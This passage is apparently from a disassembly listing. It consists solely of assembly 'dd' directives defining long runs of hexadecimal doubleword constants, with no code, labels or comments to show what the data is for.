		dd 12ED24A5h, 1E4A004Ah, 0B8A5C73h, 0AA11EA00h,	7CEC3439h
		dd 0D2B0EF4h, 4380B79Eh, 0C10A8563h, 39F23101h,	0CD926FEBh
		dd 0D100EA44h, 7D8EEFE4h, 6277016Ah, 115497D3h,	43692025h
		dd 744D5300h, 0D59B1793h, 0B9C6008Ah, 23CE721Ch, 3248B33Fh
		dd 881A0F43h, 69D6C094h, 0EE96EE5h, 57AB728h, 598A5AC0h
		dd 5B00CE7Fh, 9BD8DEB3h, 9E789Fh, 9ADD3176h, 0F1E3B5F3h
		dd 0D1094109h, 5DA30185h, 6220D622h, 0D0C3009Bh, 97FAED5Bh
		dd 593B7281h, 88828013h, 9CAFB770h, 0BA290064h,	1721A633h
		dd 48003236h, 5BFD49E2h, 0F20312F2h, 0C400051h,	836E2594h
		dd 7D0088D2h, 0E8E63F5Dh, 1656F6F0h, 0EFC29811h, 0A9ADD806h
		dd 0A6731C30h, 0E8C600E5h, 7FD65EC1h, 876AF101h, 5293C40Ah
		dd 3A98160h, 55439BE1h,	0A7C1D6FDh, 1C54D80Eh, 46ECF8A4h
		dd 9E8E2A00h, 6B255168h, 994D0057h, 43A1A2E3h, 7C007D9Ah
		dd 22D50EEAh, 2F9705Eh,	635D281Bh, 0E660AEB7h, 400E7B6h
		dd 0A0954493h, 798E0309h, 346A2687h, 1E610084h,	231D591Bh
		dd 0EB01A27Ch, 385BC445h, 0A8E7372Fh, 4C7B620Ah, 7D82C491h
		dd 44C0684Fh, 0C900D36Bh, 22B77A5Bh, 0FF41BBDh,	5F07519h
		dd 0C0E81F1Ch, 0ADA3F3DCh, 0B2003011h, 0BBEBC0A4h, 2B7F931h
		dd 0F455574Eh, 0AC809E0Ch, 856B8D83h, 87CCA703h, 0A0390607h
		dd 3E90A6h, 0B18C89B5h,	306FAC40h, 76F0AA00h, 21B35E97h
		dd 0C84C03B0h, 815CB99h, 6D6F50C0h, 0F913F207h,	0C3900E18h
		dd 1793A47h, 5F53805Dh,	60058F6Ah, 0CE003612h, 463F4B1Dh
		dd 15A9C34h, 0E2C52D1h,	0D84569A5h, 0F07C5CDEh,	0B01C8700h
		dd 0C0F79619h, 0FB2E074Bh, 0D0640730h, 88F170DBh, 0FF50920Bh
		dd 0B87C0056h, 0E4E9B2h, 0E01838FCh, 2A6B46BAh,	3AB1A117h
		dd 0E6E3E0Fh, 36A4C0A6h, 1ECDBB6h, 98B5C2EEh, 0D816A772h
		dd 0B3011D9Ah, 0BC0C1280h, 0E0F069C4h, 0CFE81DF6h, 4D1CC02Ah
		dd 555D78ECh, 9F8F8C00h, 32B4D375h, 0EDCFF33h, 7BF20079h
		dd 0F1D86A86h, 0BB030237h, 9E3A5E67h, 2269C099h, 45AA008Ah
		dd 83015DE1h, 8000C2ECh, 0E599FDF2h, 0A287AFh, 400F82BBh
		dd 39C8F4DFh, 4AC1D60Eh, 0E91282E2h, 0C405DDBh,	577DA3DCh
		dd 0A1974500h, 4E4965B9h, 0A21A0069h, 0C546A0C0h, 0B3006CACh
		dd 9423832Dh, 0BEBEC26h, 0F69DC2D7h, 0A04B000h,	304C8B33h
		dd 5BA10076h, 60A4451Eh, 0FAA00D2h, 9F47063Dh, 0CE01DA90h
		dd 596AFD30h, 6B30C644h, 4C775Dh, 0F6873E81h, 7A01BB97h
		dd 274393Fh, 0E2EA3AD6h, 29786852h, 0FC377A7h, 716847EEh
		dd 841CA261h, 548030B6h, 7481C500h, 4CC3E53Bh, 4286000Fh
		dd 0BCDE55C8h, 7D275607h, 0BEF380ACh, 0F79115h,	7F535B7Bh
		dd 0C72D8C0Eh, 22DBF401h, 92C9EC6Ah, 172C70h, 76D8E093h
		dd 0FC8309F5h, 5436F0Fh, 0A01B0041h, 13C2BA34h,	3656DCh
		dd 0BD857F5Eh, 75E83C2Ch, 0DDA84200h, 19B10E86h, 0D9BB0171h
		dd 7E66B3BCh, 0E4C7D91Ah, 9775967Fh, 1CDD0A32h,	0F457C0DEh
		dd 0E3C80024h, 9CEE0963h, 0A70E44A1h, 8059B814h, 1388AFB1h
		dd 3FC3B0A2h, 0DC806AD5h, 540A2F5Fh, 0D2072E45h, 2B9D33BBh
		dd 34A288A0h, 0D174021Eh, 5ABFA0Fh, 0CCD52BE0h,	58D8DF00h
		dd 0CFD3F5AEh, 447F0033h, 0E397F907h, 66073BB0h, 2C9D8756h
		dd 5339E090h, 0E89800DFh, 0D95284CAh, 0BB00A37Dh, 0C711ED72h
		dd 149631A9h, 0E4E708EFh, 6116287Ah, 3CA10AC0h,	7E4F138h
		dd 20B7D524h, 6B0B2348h, 0BE8E9902h, 608BEB9Fh,	0B0EA082Ch
		dd 0C5CE0172h, 3D4888FAh, 0BAEEF060h, 0FCAAB000h, 0C6743BBCh
		dd 0C91F00CFh, 346C0FE4h, 69717B68h, 23125809h,	0E8ED64Bh
		dd 0F807285h, 956E08A0h, 0FC35CE1Dh, 25BDDE40h,	50DB453Fh
		dd 1C1DAAFEh, 0C1CA1A6Dh, 34F88E12h, 0FBBDD4D1h, 7E97E450h
		dd 3FAA8D01h, 7015C61h,	0D067E02Fh, 0B1C25200h,	9C7B912Bh
		dd 0F50300D4h, 60EE84B9h, 290061F3h, 81AB9A15h,	0C5FC71h
		dd 0ECE58065h, 9FFDEA88h
		dd 0BC4B3F0Fh, 0BBAC80F2h, 782A7648h, 0CC8500D3h, 0AEC6406Fh
		dd 7400F4CEh, 3F790DFFh, 0FC7082F0h, 0DDEE0149h, 98EF9739h
		dd 0E9BE417Dh, 0D4B68063h, 9C1ABF90h, 2E37715Dh, 26FDBEAAh
		dd 404F1D4Ch, 12443D8Eh, 4700B6E3h, 0A7F748BDh,	1C5D559Ch
		dd 0BFC5374Bh, 826B9801h, 0D0237D6Eh, 0D9781803h, 0C100E1B0h
		dd 8F55EA76h, 0F02DA3h,	3281EDB3h, 0FECD8BEh, 0AC3FE4FCh
		dd 3B9800D4h, 4E8C6511h, 29B6006Eh, 435C2CA2h, 0BA0F9504h
		dd 69B950E4h, 0A03800ADh, 627330A5h, 99721108h,	2EDC7880h
		dd 0CE005510h, 0BCD2D4DBh, 3C6581D3h, 722EF894h, 0FD968074h
		dd 3E076374h, 5F7CB27Fh, 0F02CB70Fh, 9C328072h,	3CBC42ADh
		dd 550B3484h, 4780ED86h, 3779018Ah, 1B3D1300h, 335E9C98h
		dd 88460F92h, 8E0F26Bh,	5D2FA358h, 0F600DAFCh, 878AAAB7h
		dd 89E2B9h, 0E64C88FDh,	271FE10Fh, 23E3BC00h, 0CA048F80h
		dd 0A741001Ah, 9779A336h, 0FF002D98h, 4E26449Ah, 0D66B39h
		dd 6ECAD115h, 6AA0AED0h, 80F30201h, 0F24B3B1Ah,	0F77560F2h
		dd 0D1D93C54h, 3EFACE87h, 9B560F0h, 8F001044h, 0D9E5150Bh
		dd 0E292CC6h, 72EADFA0h, 1AE83060h, 0AF004C0Fh,	94391947h
		dd 632C88h, 4289CD5Ah, 984A90EDh, 74D6501Ch, 38E0D740h
		dd 0A17CB8h, 0F947A526h, 0AA5F1D6Ch, 7B24DB4Ch,	0E40ADE1Ch
		dd 707AD940h, 1D3EA35h,	0D06498CAh, 8110B3C5h, 0BA0E3269h
		dd 63E489E3h, 9AEC8Ah, 55CE9669h, 99ABE291h, 0EB578203h
		dd 0F82E2395h, 1D5FC36Fh, 7FC12BCh, 0A57EEF39h,	4CD8007Ch
		dd 0DBF516D9h, 2F1670E3h, 32ADF800h, 0D5E7148Ah, 12343F9Bh
		dd 75CA2E83h, 6A1BF2Bh,	9C25F8F8h, 3F5CEF0Bh, 0F3F7801Ah
		dd 95FA1Ch, 0CFBDC02Eh,	0CD59C5AEh, 987DFC00h, 0BA6A3377h
		dd 0FDA9008Bh, 0ECCE76BDh, 7C2CBEC4h, 830EFD9Eh, 0DC78E0D1h
		dd 1564C6Fh, 0CA5C722Dh, 0F49A6B5Ah, 83007581h,	1C161D87h
		dd 0E0AF2Eh, 1EE673F5h,	185308BAh, 901B000h, 285E9F13h
		dd 278200E9h, 70DF77F4h, 7900C0E6h, 930ED90Bh, 135A312h
		dd 4348EE26h, 0F883F938h, 0E60EFE19h, 72C1FDD2h, 7C591C01h
		dd 0A0E24E8Eh, 79FFC5FCh, 67E4Ch, 0B24F3766h, 24F0649Eh
		dd 863841E0h, 87BA00BEh, 0E065E4A5h, 8503037Ah,	0C43DF2ACh
		dd 5ED04AC3h, 987A58CFh, 2F8DE60Fh, 7AAE804Fh, 4B69D7h
		dd 120C05BBh, 2AE4FDABh, 0C3437D00h, 0A01D2E1Fh, 0F130007Fh
		dd 86C5DFCAh, 0C2007AECh, 0AF9BDB0h, 4C753C1Fh,	0EA0056B1h
		dd 17492736h, 6400E4F8h, 0B49183ADh, 2C13D9h, 1F9A633Eh
		dd 8190B70Dh, 0D196F900h, 0F89E4B1h, 0FB9F0095h, 5DC7B304h
		dd 43015A72h, 37C9D5CAh, 0FFCC8849h, 1A67E70h, 9DAAA1CDh
		dd 0C4C5976Bh, 0C12CDC1Dh, 0CC01C4DAh, 6E58BEAEh, 0A4B4DCh
		dd 38EEA239h, 1A05F924h, 25B6EC03h, 0E8FF17EBh,	0ABBB43h
		dd 0FDD3089Bh, 0EE0EDFD7h, 0F3BECB07h, 7A901B24h, 50DABFh
		dd 0AA8CDB28h, 511CA0EFh, 8E823D07h, 0BB403ACEh, 66CD43h
		dd 74E727FFh, 0F29F7A47h, 0EB71C000h, 915E39A2h, 0A81300D0h
		dd 0DF8ACD21h, 85C1BE2h, 0DE880771h, 835F1161h,	0F8959677h
		dd 10C4A6h, 0D92E24A1h,	0CDD58391h, 2B1AFA07h, 0E0B531DEh
		dd 9903A11Fh, 8B407F9Bh, 0E0AAC287h, 5AC067h, 0B6561E35h
		dd 89E175C2h, 48E4AF77h, 1D03F272h, 4B3455B7h, 60C7FA54h
		dd 0DE4038h, 0EEB92024h, 92195FF5h, 183BAA17h, 29229700h
		dd 0C4F063h, 0C8A2E5BFh, 5F6444CBh, 3F3D5000h, 683AC64Fh
		dd 0DC9A076Ah, 70BD875Eh, 0E6812189h, 0A4FEC100h, 0B84F6EFh
		dd 1DCEE86h, 4D99B76Bh,	0C26DB27Fh, 75B6D840h, 2C713779h
		dd 25680F06h, 20D556h, 9C457BE7h, 0F29E6EFAh, 17C44E00h
		dd 100B2AD4h, 0F0F54C22h, 203AE964h, 13167925h,	0C54DA5h
		dd 2CC8EB63h, 0B1188240h, 0A8F8E0E2h, 0DD7189h,	3A1FADA5h
		dd 0CCA03253h, 9656FC13h, 4C17A700h, 4F49B7h, 1C58F35Ah
		dd 0FA3BECE2h, 194D1001h, 1F893356h, 60E021D5h,	6EB40062h
		dd 0D8506185h, 0F6001DE7h, 0E8A314B3h, 7B1C7A18h, 677FAAh
		dd 0B096364Eh, 0E6ED7064h, 0E260CD00h, 0D74A9B8Dh, 494C0EC4h
		dd 0F3E2598Ch, 91E0BADAh, 0E126EA19h, 4C0714B4h, 3A40C0EBh
		dd 586DAAh, 356CE325h, 20E7FA2Eh, 9696B660h, 0EBCAB55h
		dd 90D0AE4Ch, 263400BCh, 5AD9CB48h, 6E602900h, 79111D6Dh
		dd 0E1303BDCh, 2D08F2Bh, 89B9A9D7h, 0ABE05CC3h,	2400CF17h
		dd 37F4C0DDh, 95E611E1h, 0EE07D478h, 2EC27C44h,	0F6D78F40h
		dd 0A27500D8h, 2C45D614h, 0AC3CF368h, 8C1004Ch,	0A0CF0A5Eh
		dd 70F98F7h, 0D2883B22h, 143F1250h, 38B2BA40h, 9E0E9874h
		dd 0C0ECE86Bh, 9F245CFAh, 437B0074h, 2BFCC83Eh,	217151CDh
		dd 837E3403h, 883D98FFh, 0D6E8A6h, 2508B492h, 0AF09C0E9h
		dd 638BAA00h, 6FF49CC8h, 9252008Fh, 0BA5A13ADh,	0B807C7A3h
		dd 55540DFCh, 0EF6B720h, 0E9CC3F62h, 38C2FB80h,	9FD371CDh
		dd 231CE100h, 0E8EB2CCEh, 3EA37665h, 0E600F72Fh, 8832EA26h
		dd 3B72C52Ah, 9172511Fh, 5528E700h, 3AF220B6h, 4F301193h
		dd 4BFEBF29h, 0D3FA8F00h, 3A30FCF6h, 79E200C4h,	0A0EACE6h
		dd 0D0041CE5h, 892E3D32h, 787ACFC0h, 31B401CDh,	9CC77E0Fh
		dd 21DCF4D6h, 200095FEh, 7B94BBC5h, 74A88EE9h, 7A880106h
		dd 80DED7EDh, 21FFD0E8h, 0A2DF900h, 0E7C1DDD1h,	742500B7h
		dd 0F48F6462h, 0E900C93Bh, 0D0D56A67h, 9030231Ah, 0FAB81F3Ch
		dd 5C8300ADh, 33E26FE9h, 0CF66C900h, 0BD790BF4h, 3CFEE469h
		dd 0BB00C737h, 68F12D45h, 0C1F603CBh, 3B4F0407h, 4670B312h
		dd 0C21909h, 0B4D4DB5Eh, 39B6AAC5h, 0BCA33Ch, 5C9AEAE9h
		dd 3932FF99h, 6000FA7Ah, 2F52F7Ch, 0CC00EE4Bh, 5CCA41E0h
		dd 0F0D8BA01h, 95DA006Dh, 960FA022h, 270054C1h,	0DBA52F84h
		dd 48FD04h, 0CE2833F3h,	0D2BCE35Dh, 0B8A38200h,	34EE9D0Ch
		dd 5A8C006Bh, 0F430B0D3h, 0A900A884h, 15022AE0h, 1EF1E76h
		dd 0B71FD1FDh, 803B0A57h, 4532C110h, 1CC1036h, 93E9228Dh
		dd 804F68A8h, 0DAB35648h, 0E29023h, 1EA4BB2h, 959CAFBCh
		dd 3D1D6900h, 6B7C51F8h, 0F9A0088h, 2F828BB1h, 4701B376h
		dd 77185F59h, 65D47124h, 0D8E400E7h, 66072CB0h,	6401D70Bh
		dd 61781AC3h, 30F8670Eh, 0FFA717FEh, 53C800ECh,	47D9A46Eh
		dd 190CC300h, 0BD60DC4Ch, 0E70A5CE0h, 1B51DD01h, 60873A2Dh
		dd 0E41CEAB1h, 0F141DE07h, 66836B5h, 2A78A8h, 8097D0E5h
		dd 2C0B6198h, 0B4598800h, 71F65335h, 253600F3h,	0C64E709Bh
		dd 0A00F5D33h, 0A005C810h, 0A6898028h, 12F20088h, 22775AFh
		dd 43001ECFh, 84CBBABh,	63C432h, 0D8483EE9h, 80AC785Eh
		dd 0CCDBA0A1h, 857ADEBAh, 0B3ABB8A0h, 330D823Eh, 0D08E102Eh
		dd 751DCAh, 0B312FB5h, 0CF809609h, 7B489C03h, 0D847C004h
		dd 3C8133F6h, 0A300A2D8h, 2B5EE751h, 6DE07AF7h,	0C271EC0Fh
		dd 0C8BEFE2Dh, 55490EC1h, 0EB3CE070h, 0C904A1h,	0CB8F5EF1h
		dd 0E563813Dh, 0DA725500h, 0A92AA7DBh, 17020066h, 1B5AAD2Fh
		dd 760095C1h, 0B5D2E25Fh, 1E0A26DFh, 0C039A707h, 7B81AD1Fh
		dd 2E00E0B4h, 701471FBh, 1C20DEEEh, 0A87C182Bh,	0EBBB00C9h
		dd 6BE6C00Fh, 0BD006E46h, 0C7032E79h, 3C416923h, 5000B0BEh
		dd 252AD67h, 0E90F1E12h, 209879E4h, 0E85D62B4h,	235A007Eh
		dd 8003F889h, 9E004163h
		dd 1572C22Dh, 0E24F9201h, 8F72ADh, 0CC8D85DDh, 27D855CAh
		dd 3FBA210Bh, 4B20AB2h,	0FD584887h, 0FECB8190h,	9AF900FBh
		dd 7BAE2DC3h, 0E7013C66h, 8D1A6162h, 34207789h,	0AD9500FDh
		dd 5B6C8746h, 201F8171h, 0E4C0C0C7h, 576894DAh,	0B8EE009Eh
		dd 4B317D72h, 0EF267465h, 0A500677Ch, 19D4680Bh, 0ED723F05h
		dd 9BDD4380h, 7E3CAFDBh, 0E639DF1Dh, 4E2C813Ch,	8060A29Ah
		dd 2ECA9670h, 6E49E98h,	0E0B9295Dh, 9C00E1E8h, 0D91C18BDh
		dd 25E0AB7h, 5AE0509Dh,	417F2198h, 8EEE57E4h, 0D7DC00A8h
		dd 44F5ACh, 8CBD62B5h, 0B8E5EE1Fh, 48769F98h, 4DE2E314h
		dd 6D6C00F4h, 4EC33913h, 5819023Bh, 705347A8h, 63D39C80h
		dd 680090AFh, 0A26F393Eh, 0EE440FF9h, 83C4004Bh, 0D78A8C41h
		dd 1E0174BBh, 0CF6A65D1h, 96DC6043h, 0B6C53A35h, 42688100h
		dd 0D589F084h, 2DBBA900h, 73E624AFh, 0D91D0005h, 180108D2h
		dd 130019F1h, 83F3851Bh, 0BF14E7h, 16FC8432h, 40EE88C9h
		dd 8DC6DA07h, 93DEFh, 9D4CF124h, 26F20085h, 0DA5120FFh
		dd 4000C867h, 41F93D21h, 2C3BACEh, 0EFF2F193h, 0D040826Ah
		dd 1F009BF8h, 0B763CAF9h, 0CC74A7h, 21C92FF6h, 2C89B154h
		dd 0BF680C07h, 0DA3084ABh, 0ECB89Ah, 56274DB6h,	937FB540h
		dd 0A59E3000h, 742D6319h, 0CF5D0004h, 0D58C13BDh, 22783534h
		dd 7B5C200h, 0AFB8BFCEh, 0A8A00E6h, 88ACF6FBh, 8982CBEh
		dd 2F513909h, 8D9A0729h, 74929D30h, 0F762003Ah,	269C895h
		dd 2B00D719h, 0AA9CFDBFh, 3A3CB9Fh, 9D26C46Ah, 6DF0355Ah
		dd 0B404E56Bh, 68527ABBh, 0CCA98480h, 874F00C5h, 733B6582h
		dd 0C1F2DFCh, 1B001643h, 14F87C57h, 3476005Fh, 0F5B48BEh
		dd 1C00FBE5h, 2646D6F5h, 2C00608h, 0A1C323CCh, 0D5F1A5h
		dd 0BDD251DAh, 0CF2503ECh, 0ABAD937Bh, 5D0E9E98h, 3DB49B00h
		dd 454FA341h, 0BCA63C83h, 1233FC80h, 0D0B87944h, 71D63F00h
		dd 0ABD2C7B3h, 635C0077h, 4972E058h, 5A007807h,	9EB0BF3Dh
		dd 0D4AA8Dh, 0A82FC320h, 796DF7E5h, 2DF5E000h, 11EAC02Ch
		dd 0AA78004Bh, 48E2AE46h, 38001E35h, 570F80E8h,	0CDD35Dh
		dd 47F6FFF3h, 8F72A7ABh, 603C3130h, 0C1356h, 0F54F5270h
		dd 5792F016h, 4307127Eh, 392BA617h, 0D5E678F0h,	135B0167h
		dd 6A922019h, 0BB7060D2h, 0B3232900h, 2D834E3Dh, 87DB07B9h
		dd 0F54FD82Ch, 0F27C9016h, 0D261B031h, 2C772270h, 0FCABACCh
		dd 0F3BB61C7h, 3DE8EF40h, 0D5000A3Bh, 968E786Fh, 71C357h
		dd 0EC9DF2A4h, 468BE6Bh, 0C1BB6401h, 4CE4E61Ah,	9088F820h
		dd 24E098BCh, 8058CE57h, 0E1B542Ah, 0FBF0733Dh,	0A43E9100h
		dd 0A9728F07h, 0C3680027h, 0FAE0B83h, 2400E654h, 0F756C247h
		dd 7A1D907Fh, 0D19500F9h, 4F5A5274h, 7200FA2Dh,	609CA62Ah
		dd 7BC269h, 0C6E1389Ah,	0B893D005h, 68FA300h, 40DDF03Bh
		dd 7DA1021Bh, 55D9474Eh, 90ECBFE0h, 580201FCh, 2716B44Dh
		dd 4274E023h, 6F1C00FAh, 9F12479Ah, 4C00606Ch, 31D0FD8Fh
		dd 422B339h, 0B0C8624Fh, 0DE83C0B1h, 60705BA7h,	4E292E0Bh
		dd 830480E8h, 981F4968h, 672C00E4h, 0EEBB28EDh,	9772F17Fh
		dd 0D88DE800h, 0B14F5B0Eh, 17B900B3h, 0CC03BE1Fh, 0B83CC76Fh
		dd 0B6DC00E8h, 0C968E0D1h, 0ACDB00C2h, 7BD3C6FEh, 0EC00AA73h
		dd 3ACA0E0Bh, 890A5Eh, 0C94D5B98h, 25BF9F6Ch, 9D7BC2E6h
		dd 6D803900h, 82D6477h,	0FACEE465h, 28D300F0h, 0A34F3D8Dh
		dd 0CC0046E7h, 3F512C7Dh, 7A19A0h, 0BFE3C7F9h, 0E7D40FA9h
		dd 0D31E3600h, 0B501ABE2h, 0DD40002Dh, 926B289Ah, 0F000FC30h
		dd 64B31821h, 2594F2h, 9AFF7646h, 0ED471FF4h, 72679000h
		dd 0EBBE2ECDh, 7475F1h,	1CB43230h, 75A2BFD5h, 7651100Eh
		dd 0CDE640EDh, 8C0CDBh,	3DE39605h, 0F0557CACh, 2A7B600h
		dd 0A3B01FC5h, 0C4E4010Dh, 423C9E4Fh, 0EEEFD432h, 94660B00h
		dd 2BC3FAE9h, 286000A7h, 701F5641h, 4B00485Dh, 0BE195840h
		dd 0F4D7A84h, 5E41424Ch, 0A9C5E420h, 2C006BB3h,	8213815Dh
		dd 4D30AEh, 0DB206950h,	0E3AF4934h, 71CFD200h, 3E3FB904h
		dd 0DF7D00FEh, 1DCC67BDh, 1A00A79Ch, 0AB214AE0h, 0A804B3Fh
		dd 191668DEh, 5D0F1DACh, 0C470C00Dh, 0B024ED08h, 0A0F5A11Eh
		dd 562AE3C0h, 0FD9F30h,	8DA81774h, 5B34CA03h, 0EB00807Ah
		dd 73303AF7h, 0EE63E732h, 0A6770FACh, 0E5C9A348h, 0D2890C83h
		dd 0E67530E7h, 7B077D44h, 0BD5DDAC4h, 0CDD17E90h, 0AAFE8Ah
		dd 0BA0C5F1Ch, 47D7D8E9h, 0B7000AF0h, 0F74D798Dh, 3E924213h
		dd 0B40196B2h, 0F0C8D781h, 5E5BFC0Eh, 1E0FA674h, 40848BF8h
		dd 0F951DD87h, 367E0053h, 1FEC9649h, 1D00100Ah,	0BC88D626h
		dd 7EA4464h, 338B29Fh, 0D0FD0B5h, 2D0043F7h, 18F249A2h
		dd 751B8881h, 78C10011h, 4BE10867h, 103D169h, 0DA0543B1h
		dd 213CE8E4h, 0DC4D00C4h, 638CD5F6h, 940069E5h,	15B77A0Fh
		dd 2A0A186h, 0C239999Bh, 0E8C36AADh, 87A204B0h,	0F8B62800h
		dd 15D34B2Ah, 3370BF54h, 78E11100h, 951A7B2Eh, 0A03A00B4h
		dd 859903DDh, 6401122Ah, 215D2309h, 0A8CCDA3Bh,	1ADE04Ah
		dd 1E7EB07Ah, 0CCC6322Ch, 0D60A493Fh, 0B86A7576h, 0C4EB1680h
		dd 7702E47Ah, 528E001Bh, 2C99C1C8h, 4709E162h, 80EC8D25h
		dd 1820EBA6h, 80C71E4Eh, 0B015CB45h, 0C80A5700h, 300082D8h
		dd 0AF11863Fh, 0B0B5D3BCh, 187600C6h, 948DAE63h, 2107EDF6h
		dd 0BE752F20h, 82C7F870h, 27E079h, 0BD98E5B7h, 0D5F56750h
		dd 7F042D00h, 6B1DACD1h, 744C3457h, 0C70680B0h,	2618E4CEh
		dd 6054498Fh, 0E75300F2h, 62D06992h, 0DB00D886h, 0A5556880h
		dd 8A15Ch, 0C889D285h, 7672038Bh, 80C3863Ch, 6AC510DEh
		dd 14FF3E96h, 0C02C3FBEh, 72477301h, 0CC9285D3h, 0E804FCBDh
		dd 0CD4C8A9h, 0D53F5881h, 0E6A260h, 0CBB7091Dh,	84797296h
		dd 0DB194100h, 0BAA61B01h, 53F4FF86h, 0D3A0A0EFh, 61FA5C8Fh
		dd 373F7905h, 80E68792h, 9E9B7BEh, 0FD38C91Fh, 1A014EE6h
		dd 0ACCC3579h, 16612260h, 8FEB8Eh, 4FA4FB12h, 6309B39Ch
		dd 80FDD77Ch, 3B2DC61Eh, 0ADF1E3Eh, 1C55004Bh, 0F028A0B7h
		dd 0D06B1F00h, 616FB5AAh, 6CDE019Eh, 0BB5E5736h, 69F2E097h
		dd 4C443900h, 0D67402Fh, 60E000CAh, 962B7381h, 3F00558Ch
		dd 42EF88E6h, 779FC9C3h, 7EB001Bh, 482FA50h, 0DBF4160Eh
		dd 0F0DEA007h, 0D250056Bh, 0FE1E7CAAh, 152A0154h, 0D691D3E1h
		dd 0BA8D453h, 0AED0600h, 30BE6C35h, 0E89DF0F9h,	2ECF00B3h
		dd 90D58316h, 5500E6E0h, 517D3521h, 57FDC5h, 0FA605E7Fh
		dd 175C281Fh, 6374D200h, 4348F11Eh, 5E6600C4h, 0D52A3102h
		dd 6A12D696h, 520FFC92h, 0ED164073h, 4BB73Eh, 0E45DA243h
		dd 8055E39Bh, 3608AF00h, 2FADE5F6h, 1F093h, 3CD2BB3Ah
		dd 8855CAE4h, 0B203F1FCh, 0BA6A81D7h, 0E340039h, 0BE03F3B7h
		dd 0C5B84DA1h, 875BF23Ch, 0BC2D580h, 0C327E520h, 4E7003Fh
		dd 18AB5271h, 4C1EAAB0h, 2F92B68Ah, 0E84F0200h,	3DB2B108h
		dd 0A180C935h, 0BCF1898Eh, 78987739h, 0B0497D00h, 0BE546113h
		dd 4FE33DCAh, 4E663D8Fh, 1B720DC0h, 0C900034Ch,	2B1AA41Fh
		dd 194726h, 0BD1E3243h,	0E5B67D39h, 0FF8A5F00h,	0B8787202h
		dd 7BDB00F3h, 44BD95C5h, 79020CE6h, 31BF0556h, 0ED260FBh
		dd 2493FA1Dh, 383322h, 3625995Ah, 130C37DBh, 187FB3B4h
		dd 0AC100019h, 6BEFF6E0h
		dd 700212Dh, 8187FBAAh,	1BD62h,	916168C6h, 41DBD577h, 9FE1B93Ah
		dd 2EACA8F9h, 0C00F7812h, 1C5CC071h, 3272EAh, 637E846Eh
		dd 8B941ECDh, 24E02260h, 17A611h, 7B302132h, 54DA51E3h
		dd 8D4ECA04h, 30C0C5F9h, 73A385h, 57D0AF7Ah, 0FE7DF08Ah
		dd 3F94A10h, 9046C3Eh, 5A331Ch,	0BF731645h, 27E03057h
		dd 0B1FE6068h, 17D2943Dh, 0AE00DC30h, 0FF18691h, 88500B7h
		dd 643C5BB4h, 0FF003BDEh, 7719F716h, 0FA07A118h, 1CE03AF0h
		dd 5A4B28Eh, 50129EE0h,	9DB0AAC3h, 45AC1B00h, 36CEB0F8h
		dd 44410137h, 0A7FD6D51h, 0CE807E3Ch, 4C80B4h, 40251B86h
		dd 0D2AD94E9h, 4003E7Ch, 8A0B899Eh, 174873Fh, 8E73CCFBh
		dd 70CA52FDh, 0CD004CE0h, 5B59D020h, 322A11h, 560BA9C1h
		dd 40B63AC6h, 7DDBCC7h,	882167A0h, 126FE29Fh, 1F355C43h
		dd 970FC0E4h, 0BC8546A8h, 5300D9F8h, 0E9E3D8B4h, 164A94Dh
		dd 0C4343C70h, 0D4B137B5h, 0DA03EEBFh, 0DCB3FF48h, 0E214C06Eh
		dd 77EE252h, 0AB8D655Ah, 76DD60C6h, 0FA009380h,	79B91434h
		dd 0BB6F02h, 8652F562h,	0B15FE6D9h, 2145CD00h, 109C2FE8h
		dd 0F1170346h, 764C8F04h, 376D9488h, 2E197E03h,	0D86FC0CCh
		dd 0F0C221h, 9587EBE1h,	48BA2E3h, 2C6C0F07h, 8FE0A61Ch
		dd 717041h, 1DD5D1BEh, 51C742BBh, 0F41BE700h, 24AD25F6h
		dd 0D9D800CDh, 0C4631377h, 7DFAFC39h, 6B407414h, 0A3AF09ABh
		dd 0D67D8012h, 3C76B7D9h, 14007359h, 8ED304D1h,	83752403h
		dd 7E152702h, 8723809Ah, 2B50BC90h, 2D04160h, 0A89B5AF9h
		dd 0EC80AED3h, 3DA6AC52h, 0E816FC09h, 9D100136h, 0B1FF1324h
		dd 0EFD4846Bh, 0BD1A003Eh, 8B4EC7AAh, 7300ABE1h, 12F20C5Ch
		dd 5659991h, 0B97CE0EFh, 50D60032h, 1E70FE4Ch, 49C6A900h
		dd 4A6A0515h, 11CD0E95h, 0F806EDAh, 3C7C209Ch, 0E624AB01h
		dd 0B882B260h, 6053F1D8h, 0DEFC50E9h, 0F863EC37h, 0E08E6C98h
		dd 3EA0A2Eh, 0F61219E8h, 6EB164C5h, 760420C0h, 15505250h
		dd 70D18160h, 32BE06h, 39EBC240h, 487A7423h, 0F6D26D18h
		dd 0E28AD448h, 0C91D0031h, 832BDB9Bh, 9300BB60h, 6EF4ACC5h
		dd 0C59D32D0h, 0C0AE1A20h, 0FE28AACh, 0C2E6D609h, 4400F5FBh
		dd 6A0A7229h, 611CE77Ah, 0F183BD53h, 0E0994139h, 0C54426h
		dd 1C961613h, 0E8D9D5ABh, 0EC100C00h, 35F607A3h, 65483977h
		dd 0E77F0880h, 0B7D77375h, 5FAA2709h, 2D7000DEh, 8248CBh
		dd 7239F0DDh, 0A0EC5BE9h, 536D98A0h, 5BC7300h, 0CBBEE4C6h
		dd 287E176Eh, 2603004Bh, 54DC4175h, 8D006890h, 0A85BABD7h
		dd 12E2881Eh, 595248h, 7BF8C718h, 0B700784Bh, 0E71B519Bh
		dd 71570ACFh, 0EE18004Ah, 0BB1163E3h, 0F800D8AFh, 0F4FAA797h
		dd 2EE71776h, 7DCE8Dh, 2C0FDC71h, 4800FDEAh, 0D6523BE2h
		dd 0E92A18h, 6372D3Eh, 6ADF051Bh, 5D694C00h, 3B53979Dh
		dd 0C5780158h, 1D62D15Ch, 0BBF670A3h, 81271B17h, 0B789E500h
		dd 0C0787Ch, 98AA1CB1h,	267088BEh, 300081ECh, 0DD50E672h
		dd 0FE2494Dh, 8B2FBC33h, 0F771D860h, 7051205h, 88A9A55Ah
		dd 799BE580h, 0BE8C00B1h, 0C1AAD90Bh, 3703FE0Ah, 0D3BF6FFFh
		dd 56D09060h, 22BECBA7h, 4C3D2580h, 0DA03F326h,	966B8DA8h
		dd 1042F8E9h, 99FB13D8h, 5912C015h, 0A800812Ah,	22F9F8F7h
		dd 24DCB5E6h, 3F24Dh, 7853407Ah, 0EC001971h, 4CBAA2C8h
		dd 0D87A6h, 146723B7h, 0C5AEDFA1h, 0FCDDBF2Ah, 0F3913900h
		dd 0D9FD529Ch, 0FBB30F04h, 5A00A2CBh, 0D93476Ah, 8023BD3Fh
		dd 589409FEh, 984C8Eh, 219B5EBFh, 0F75F7BA5h, 9BC4026h
